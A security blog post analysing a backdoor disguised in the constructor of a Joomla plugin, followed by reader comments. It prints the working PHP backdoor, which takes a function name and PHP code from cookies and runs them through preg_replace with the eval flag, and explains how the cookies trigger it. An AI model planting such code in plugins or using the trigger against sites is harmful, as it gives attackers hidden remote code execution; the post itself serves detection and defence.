Joomla Plugin Constructor Backdoor

We recently wrote about backdoors in pirated commercial WordPress plugins. This time it will be a short post about an interesting backdoor we found in a Joomla plugin.

It was so well organized that at first we didn’t realize there was a backdoor even though we knew something was wrong. Here’s what the code of the plugin looks:

joomla_backdoor

Nothing suspicious at first glance. Nothing is encrypted, nothing is obfuscated and no excessive comments. Just normal Joomla plugin code.

If you look more thoroughly you will notice that the class constructor is not that benign.

public function __construct() {
$filter = JRequest::getString('p3', Null, 'cookie');
if ($filter) {
$option = $filter(JRequest::getString('p2', Null, 'cookie'));
$auth = $filter(JRequest::getString('p1', Null, 'cookie'));
$option("/123/e",$auth,123);
die();
}
}

The first really suspicious thing that you may notice is the die(); at the end of the code. This function terminates execution of a current script. However, this is a Joomla plugin, which means that it’s going to terminate all Joomla execution. That’s not very nice for a plugin, especially at the initialization stage.

Then you may notice this: /123/e. This resembles regular expression pattern with the “eval” flag that we see in various preg_replace-based backdoors. Now you may realize that if you replace $option with preg_replace, you get a typical preg_replace backdoor code:

preg_replace("/123/e", $auth, 123);

123 always matches 123 so this code will evaluate whatever is in the $auth variable.

In order for this hypothesis to be true, $option should be equal to preg_replace and $auth should contain PHP code. We can see that both variables are populated with cookie values, so yes, it is possible.

This code suggests that this backdoor is used the following way:

  1. Once the plugin is enabled in Joomla, it gets loaded on every page load and the plugin class constructor always gets executed.
  2. The attacker requests any site page setting specific cookies:
    • p3 – this triggers backdoor execution. Without it Joomla works as intended
    • p2 – this cookie should be “preg_replace
    • p1 – any PHP code here

Is the Whole Plugin Malicious?

Unlike WordPress plugins that I recently wrote about where malicious code was planted by pirates who repackaged commercial plugins, this one doesn’t look like something that the webmaster took from a shady site. The InstantSuggest plugin is free and barely known by anyone (less than 400 downloads). Its real code doesn’t contain the __construct() function.

The more likely scenario is this backdoor was added by hackers after breaking into the site to maintain access to it even if the original security hole is closed. Indeed, we found it on a hacked site (no surprise here — we mostly work with hacked sites).

Moreover, it looks like hackers do not just inject that backdoor into some existing plugin, they install this new “patched” plugin. It doesn’t look suspicious and doesn’t break anything. That’s easier than modifying existing files which may occasionally break a site and require a more complex injector.

As a proof of this hypothesis, we searched the web for the backdoor code, and we always see it inside the instantsuggest code — I don’t believe that all of these sites installed this lesser known plugin. By the way, this code is also used outside of Joomla context with Joomla API requests replaced with simple @$_COOKIE calls (check this cPanel forum). Even in those cases, it is still surrounded by the instantsuggest code – it’s just something that makes the backdoor looks less suspicious.

To Webmasters

As you can see, it’s quite easy to make a backdoor code look quite benign. You can easily miss it when manually looking through the code, especially in Joomla that consists of thousands of files. Security scanners may not pick up such uncommon backdoors either. The only reliable way of detecting such symptoms is integrity control, this way you’ll be notified when something changes in your files and can promptly address the problem. Most version control systems can be used for that. You will also find the integrity control feature in our Sucuri monitoring service if you enable server-side scanning.

One more thing, using cookies for passing malicious code to backdoors is a common trend. This way hackers can use regular GET requests that won’t raise any suspicion during web server log analysis. To detect and block such requests, you need a more sophisticated website firewall solution, e.g. CloudProxy.

8 comments
  1. I think it is worth making it clear that this post refers to a pirated version of the plugin. There is a legitimate version of this plugin listed in the Joomla extensions directory, I have checked the code and it seems clean. I think that the lesson is to be careful where you download Joomla extensions from. This particular plugin is free anyway so there is no need to download it from anywhere but the original developers (with whom I have no connection).

    1. It’s not a pirated plugin. It’s a malicious backdoor wrapped in the code of a legitimate plugin. Webmasters don’t download and install it themselves. It is installed by hackers. It doesn’t look suspicious so it’s hard to figure out that something is wrong.

      1. OK, I missed that point. But I would assume that there is a malicious version of the plugin in circulation somewhere, if you are finding the same code always inside the instantsuggest plugin.

  2. I just downloaded the plugin and had a look at the source code there to see for myself.

    I can’t see the malicious construct in the code at all on either versions of the plugin. 1.x or 2.x.

Comments are closed.

You May Also Like